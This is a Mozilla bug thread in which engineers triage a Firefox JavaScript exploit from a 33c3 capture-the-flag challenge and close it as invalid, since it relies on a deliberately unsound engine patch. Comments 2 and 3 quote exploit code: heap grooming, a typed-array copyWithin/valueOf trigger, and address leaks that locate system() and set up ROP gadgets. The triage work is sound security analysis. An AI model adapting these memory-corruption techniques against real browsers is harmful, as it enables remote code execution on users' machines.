1326521 - Potential Javascript exploit from 33c3 conference

Status: RESOLVED INVALID

(Core :: JavaScript Engine, defect)

Description

[Al Billings [:abillings - ex-MoCo]]

Attachment: Exploit code

A twitter user at the 33rd Chaos Communications Congress is reporting he (?) has a Firefox JS exploit.

The tweet is at https://twitter.com/0xtarafans/status/814575298247266305 and the code is at https://gist.github.com/tarafans/42b05f1baa79166ddd2fde97e2b50dc2#file-feuerfuchs-html.

I've attached the HTML but, since I haven't seen what it can do, you may wish to be careful opening it.

When I open the file in a clean profile in the current nightly, I don't see any visible behavior at all.

Comment 1

[Al Billings [:abillings - ex-MoCo]]

I see nothing in particular happening in current release as well on OS X. Since this is for capture the flag (?), it might be OS specific.

Comment 2

[Jeff Walden [:Waldo]]

From the attachment:

"""
libxul_base = div_vftable - 0x4a63080;
strcmp_got = libxul_base + 0x4b1e090;
strcmp_addr = read8(strcmp_got);
document.write('strcmp addr: ' + strcmp_addr.toString(16) + '<br>');
system_addr = strcmp_addr - 0x59630;
document.write('system addr: ' + system_addr.toString(16) + '<br>');

/*
	 0x00eb62d6: xchg rax, rsp ; dec dword [rax-0x75] ; and al, 0x08 ; add rsp, 0x10 ; pop rbx ; ret  ;  (1 found)

	 .text:0000000002AD4947                 pop     rdi
	 .text:0000000002AD4948                 retn
*/

pivot = libxul_base + 0xeb62d6;
pret = libxul_base + 0x2ad4947;
"""

Those magic numbers/that comment strongly suggest this will "work" (whatever work means -- pop up calc.exe, crash, eat all the cheese in your house) only on a binary-by-binary basis.  Testing in a nightly build has a solid chance of not doing what it's supposed to do -- although often, failing to work "as intended" might mean a crash.

I see typed array stuff in here, which is always a reason to worry, but then again typed arrays are the modern, fantastically easy way to populate memory with particular contents, so it may not mean much.  Still looking (although I really should be going to sleep, and might still without finishing eyeballing)...

Comment 3

[Jeff Walden [:Waldo]]

So there appears to be two bits of typed array stuff in the testcase.

The second bits appear just exploit-leveraging: taking libxul addresses and other sorts of things like that and manipulating them to jump into what's presumably near the end code to be executed by the HTMLDivElement.blur() call (I assume by munging its memory a bunch to overwrite a vtable pointer, or something).  Maybe there's something in that, I'm not sure.  But it looks like it's not the original sin.

The first bits look a bit more worrisome.  With some added comments explaining the apparent idea:

"""
var ay = new Array(0x800);
var magic = 0x51535759;
var magic1 = 0x71737779;

// Fill in |ay| with two-element arrays.
for (var i = 0; i < 0x800; i++)
{
  ay[i] = new Array(2);
}

// Fill each such two-element array with:
//   [0]: an 8-element array of hex numbers
//   [1]: new Uint32Array(16), zeroth element a hexnum, the rest zeroes
for (var i = 0; i < 0x800; i++)
{
  
  ay[i][0] = [magic1, 0x41414141, 0x41414141, 0x41414141,
  0x41414141, 0x41414141, 0x41414141, 0x41414141 + i];
  ay[i][1] = new Uint32Array(0x10);
  ay[i][1][0] = magic;
}

// Set every third two-element array's [0] to null.
for (var i = 0; i < 0x800; i += 3)
{
  ay[i][0] = null;
}

// Create a *separate* typed array, filled with a sequence of hexnums.
ua = new Uint32Array(0x10);
for (var j = 0; j < ua.length; j++)
{
  ua[j] = 0x43454749 + j;
}

var to = 10;
var from = 1;
var end = {
  valueOf: function() {
    ua.offset = 0x10;
    gc();
    return 2;
  }
};

// Copy the [1, 2) range of elements to index 10.
ua.copyWithin(to, from, end);

// Find *at least one* Uint32Array as element [1] in a two-element Array,
// that *no longer* has length 16 as originally set.
for (var i = 0; i < 0x800; i++)
{
  if (ay[i][1].length != 0x10)
  {
    vuln = ay[i][1];
  }
}

// No such Uint32Array should exist, so this should pass in a shell:
//assertEq(vuln, undefined);
// ...but instead the exploit code presumes |vuln| is set
"""

%TypedArray%.prototype.copyWithin converts its three arguments to integers, does some index math on them to compute the final range to copy, and to where, and then performs the copy.  The various conversions are in TypedArray.js's TypedArrayCopyWithin; the ultimate copy is in C++ in SelfHosting.cpp's intrinsic_MoveTypedArrayElements.

The dodgy part of this looks like the |end| variable.  Setting an "offset" property and GCing (in poor-man's fashion) don't do anything to what copyWithin does -- or at least not to its intended algorithm.  There isn't even an effect on it -- behavior from copyWithin's point of view is the same if |end| were just 2.  And the implementation of copyWithin doesn't look like it'll do anything odd for copying an element range to another offset, with nothing out of bounds of the array bounds.

So if setting an "offset" property doesn't change copyWithin's behavior, what does it change?  My tentative guess -- just grabbing the code above (with the subsequent more-squirrely code removed) and running it in a shell build I happen to have on hand doesn't do anything -- is that the pertinent effect of setting .offset (i.e. adding an "offset" property), is to trigger something related to TI, something that throws away information that we actually do need, something related to type information for all those |ay[i]| whose [0] is null.  The GC runs at some point in that call and throws away information about some |ay[i]| in some way.  Afterward, as a consequence, some |ay[i][1]| and their lengths are misinterpreted -- note that .length there is possibly JIT-inlined, depending if TI knows that |ay[i][1]| is always a typed array (modulo intended TI confusion) -- and then possibly that busted TI information is now amenable to exploitation.

So my guess is this is some sort of TI confusion.  I could be mistaken, but that's my guess.  Forwarding to the JIT component on the basis of that guess, but I could easily be super-wrong.

Comment 4

[Jan de Mooij [:jandem]]

I have a few hours before New Year's Eve stuff. Investigating.

Comment 5

[Jan de Mooij [:jandem]]

I'm also unable to reproduce this on Mac/Windows, Nightly/50.1 builds, shell/browser, 32/64 bit. I'll try ESR45 and other releases now...

Comment 6

[Jan de Mooij [:jandem]]

This repo has more info, and also contains a patch against TypedArrayObject.cpp:

https://github.com/saelo/feuerfuchs

Digging.

Comment 7

[Jan de Mooij [:jandem]]

They give a patch that adds an offset setter to typed arrays:

  https://github.com/saelo/feuerfuchs/blob/master/feuerfuchs.patch

The exploit here *does* use |ua.offset = 0x10;|. Let's try with that patch.

Comment 8

[Jan de Mooij [:jandem]]

With the patch applied to mozilla-release, we fail the following assert in intrinsic_MoveTypedArrayElements, also with the JITs turned off.

  Assertion failure: byteSize <= viewByteLength, at SelfHosting.cpp:1215

An opt build indeed reproduces the problem now with Waldo's test in comment 3 (vuln is an Uint32Array at the end).

Waldo knows this code much better than I do, but I think the following is what happens:

(1) In TypedArrayCopyWithin, we call TypedArrayLength to get the length.

(2) Then, we determine the start, end, count values. For the |end| value, though, the script uses valueOf trickery to modify the TA's offset value (this also updates the TA's length slot).

(3) We call MoveTypedArrayElements with the following arguments: to = 10, from = 1, count = 1, but the TA length is now 0, because of (2).

Waldo knows this code much better, but I don't think this is an actual bug in Firefox. It only works when using a patch that lets you modify a TA's length + offset and that breaks assumptions in the engine.

Comment 9

[Jan de Mooij [:jandem]]

NI Waldo to confirm the patch they're supplying is unsound:

  https://github.com/saelo/feuerfuchs/blob/master/feuerfuchs.patch

Comment 10

[Jeff Walden [:Waldo]]

(In reply to Jan de Mooij [:jandem] from comment #7)
> They give a patch that adds an offset setter to typed arrays:
> 
>   https://github.com/saelo/feuerfuchs/blob/master/feuerfuchs.patch

wut

Yes, if you add a patch to Firefox that lets you change the observable length of a typed array other than by detaching its underlying ArrayBuffer, you'll break numerous calculations we have that assume a typed array's elements are always accessible, in their entirety (unless detachment occurs).

This isn't just a Firefox decision, but a spec decision.  Consider, for example, <https://github.com/tc39/ecma262/issues/713> which just landed the other day.  It makes an iterator over typed array elements be invalidated when the typed array's underlying buffer is detached.  The patch uses IsDetachedBuffer, because the spec knows that only detachment can invalidate a typed array's elements.  It does *not* use ValidateTypedArray because it's not necessary -- detachment is the only way to invalidate the iterator, and ValidateTypedArray is overkill.  But if this bogo-patch were applied, it would have to.

If you apply a patch to extend/violate the spec/break spec assumptions, our assumptions consistent with the spec won't always be correct, and things will go Wrong.  We're obviously not going to do that.  :-)  So it doesn't seem like there's anything we should be doing for this, and we can return to our New Year's Eve merriments.

Comment 11

[Al Billings [:abillings - ex-MoCo]]

Thanks for the holiday investigation everyone!